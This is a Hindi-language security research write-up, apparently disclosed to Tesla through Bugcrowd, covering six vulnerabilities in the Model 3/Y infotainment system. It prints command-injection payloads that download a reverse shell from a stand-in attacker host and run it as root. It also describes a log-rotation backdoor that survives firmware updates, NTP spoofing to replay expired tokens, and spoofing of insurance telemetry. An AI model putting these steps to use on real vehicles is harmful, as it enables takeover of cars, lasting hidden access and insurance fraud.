
Tesla Model 3/Y इन्फोटेनमेंट सिस्टम पर भेद्यता अनुसंधान। 6 भेद्यताएं, 4 CVEs (CVE-2022-42005 through CVE-2022-42008)। रूट शेल, स्थायी पहुंच, बीमा टेलीमेट्री स्पूफिंग।
टेस्ला मॉडल 3/Y इन्फोटेनमेंट सिस्टम (Intel Atom MCU, Linux 4.14.235) पर कमजोरियों पर शोध, जिसे बगक्राउड के माध्यम से टेस्ला को जिम्मेदारी से प्रकट किया गया।
टेस्ला के ODIN डायग्नोस्टिक इंटरफ़ेस में कमांड इंजेक्शन भेद्यता के माध्यम से एक उत्पादन टेस्ला मॉडल 3 पर स्थायी रूट एक्सेस प्राप्त किया (CVE-2022-42008)। वहां से, पांच अतिरिक्त कमजोरियों की खोज की - जिसमें एक स्थायित्व विधि शामिल है जो फर्मवेयर अपडेट में बची रहती है (CVE-2022-42005, CVE-2022-42006) और सेफ्टी स्कोर बीमा टेलीमेट्री को स्पूफ करने की एक विधि जिसने सीधे मासिक प्रीमियम को $130 से घटाकर $83 कर दिया।
ODIN, हर्मीस और सेफ्टी स्कोर में छह कमजोरियां। चार CVE. बगक्राउड के माध्यम से पुरस्कृत और टेस्ला के SSH सुरक्षा शोधकर्ता कार्यक्रम में नामांकित।
| खोज | CVE | प्रभाव | स्थिति | पुरस्कार |
|---|---|---|---|---|
| ODIN के माध्यम से रूट शेल | CVE-2022-42008 | कमांड इंजेक्शन के माध्यम से रूट शेल | ठीक किया गया (2021.32.10) | बगक्राउड इनाम |
| समाप्त ODIN टोकन | CVE-2022-42007 | NTP स्पूफिंग के माध्यम से टोकन रीप्ले | ठीक किया गया (2021.32.10) | बगक्राउड इनाम |
| मदरशिप पर अपलोड | — | टेस्ला सर्वर पर मनमाना फ़ाइल अपलोड | N/A के रूप में चिह्नित | — |
| लॉग बैकशेल + DV एक्सेस | CVE-2022-42005, CVE-2022-42006 | फर्मवेयर अपडेट में बचने वाला स्थायी एक्सेस | ठीक किया गया | बगक्राउड इनाम |
| बीमा टेलीमेट्री स्पूफिंग | — | स्पूफ किया गया सेफ्टी स्कोर बीमा प्रीमियम कम करता है | कोई सुधार की पुष्टि नहीं | — |
| अनफ्यूज़ ODIN | — | प्रमाणीकरण के बिना कोई भी ODIN कार्य | कोई सुधार की पुष्टि नहीं | — |
टेस्ला मॉडल 3/Y इन्फोटेनमेंट सिस्टम (Intel Atom MCU) इस शोध के दौरान पहचानी गई कई हमले की सतहों के साथ एक Linux-आधारित OS चलाता है:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
पूर्ण रिपोर्ट: ODIN के माध्यम से रूट शेल | लॉग बैकशेल + DV एक्सेस
ODIN डायग्नोस्टिक इंटरफ़ेस एक कार्य प्रकट करता है जिसे TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK कहा जाता है जो एक MicTest-Input पैरामीटर स्वीकार करता है — स्ट्रिंग्स की एक सूची जो रूट के रूप में निष्पादन के लिए सीधे CID_EXEC को भेजी जाती है। न्यूनतम टूलबॉक्स एक्सेस स्तर (tbx-external) वाला कोई भी ग्राहक कार के डायग्नोस्टिक पोर्ट से कनेक्ट होकर और POST अनुरोध भेजकर इस कार्य को ट्रिगर कर सकता है। इनपुट स्ट्रिंग्स शब्दशः निष्पादित की जाती हैं, इसलिए हमला दो अनुरोध है: पहला, कार पर curl के माध्यम से एक रिवर्स शेल स्क्रिप्ट डाउनलोड करें:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
फिर इसे निष्पादित करें:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
रूट शेल स्थापित होने के बाद, svlogd लॉग रोटेशन कॉन्फ़िगरेशन को हाईजैक करके स्थायी पहुंच प्राप्त की जाती है। मानक gzip संपीड़न कमांड को एक स्क्रिप्ट से बदल दिया जाता है जो हर बार लॉग रोटेट होने पर log खाते के तहत एक बैकशेल खोलती है:
!sh /var/log/wpa_supplicant/gzip.sh -c
कॉन्फ़िग फ़ाइल को chattr +i के साथ अपरिवर्तनीय बनाया जाता है, यह सुनिश्चित करते हुए कि यह फर्मवेयर अपडेट में बची रहती है। जबकि log खाता डेटा मान सेट करने के लिए मानक sdv कमांड का उपयोग नहीं कर सकता (dbus इसे अस्वीकार करता है), टेस्ला का निष्क्रिय prototype_server settings.conf के माध्यम से सक्षम होने पर सभी डेटा मानों तक अप्रतिबंधित वेबसॉकेट एक्सेस प्रदान करता है। कस्टम शेल स्क्रिप्ट का एक सेट (sdv, lv, send.sh) इस सर्वर के साथ बातचीत करने के लिए एक वेबसॉकेट क्लाइंट का अनुकरण करता है।
पूर्ण स्थायित्व टूलकिट कार के एक्सेस कोड इनपुट बॉक्स के माध्यम से नियंत्रित किया जाता है (टचस्क्रीन पर कार मॉडल को लंबे समय तक दबाकर दिखाई देता है), जिसे एक लिसनर स्क्रिप्ट द्वारा मॉनिटर किया जाता है जो कमांड भेजती है — जिसमें बैकशेल खोलना, डेटा मान सेट करना और सेवा मोड टॉगल करना शामिल है।
टेस्ला का ODIN टोकन जनरेशन एंडपॉइंट समाप्त tbx-tokens स्वीकार करता है और — महत्वपूर्ण रूप से — प्रतिक्रिया में उपयोगकर्ता का tbx-token भी लौटाता है, जिससे साझाकरण के माध्यम से टोकन लीक हो सकता है। समाप्त ODIN टोकन आमतौर पर वाहन द्वारा अस्वीकार कर दिए जाते हैं, लेकिन ARP-आधारित इंटरसेप्शन (ntpspoof.py) का उपयोग करके कार के NTP समय स्रोत को स्पूफ करके, वाहन को उनकी समाप्ति तिथि के बाद टोकन स्वीकार करने के लिए धोखा दिया जा सकता है। गेटवे NTP छेड़छाड़ का पता लगाता है (GTW_w149_rtcTimeSetInPast) लेकिन इस सिग्नल पर कार्रवाई नहीं करता।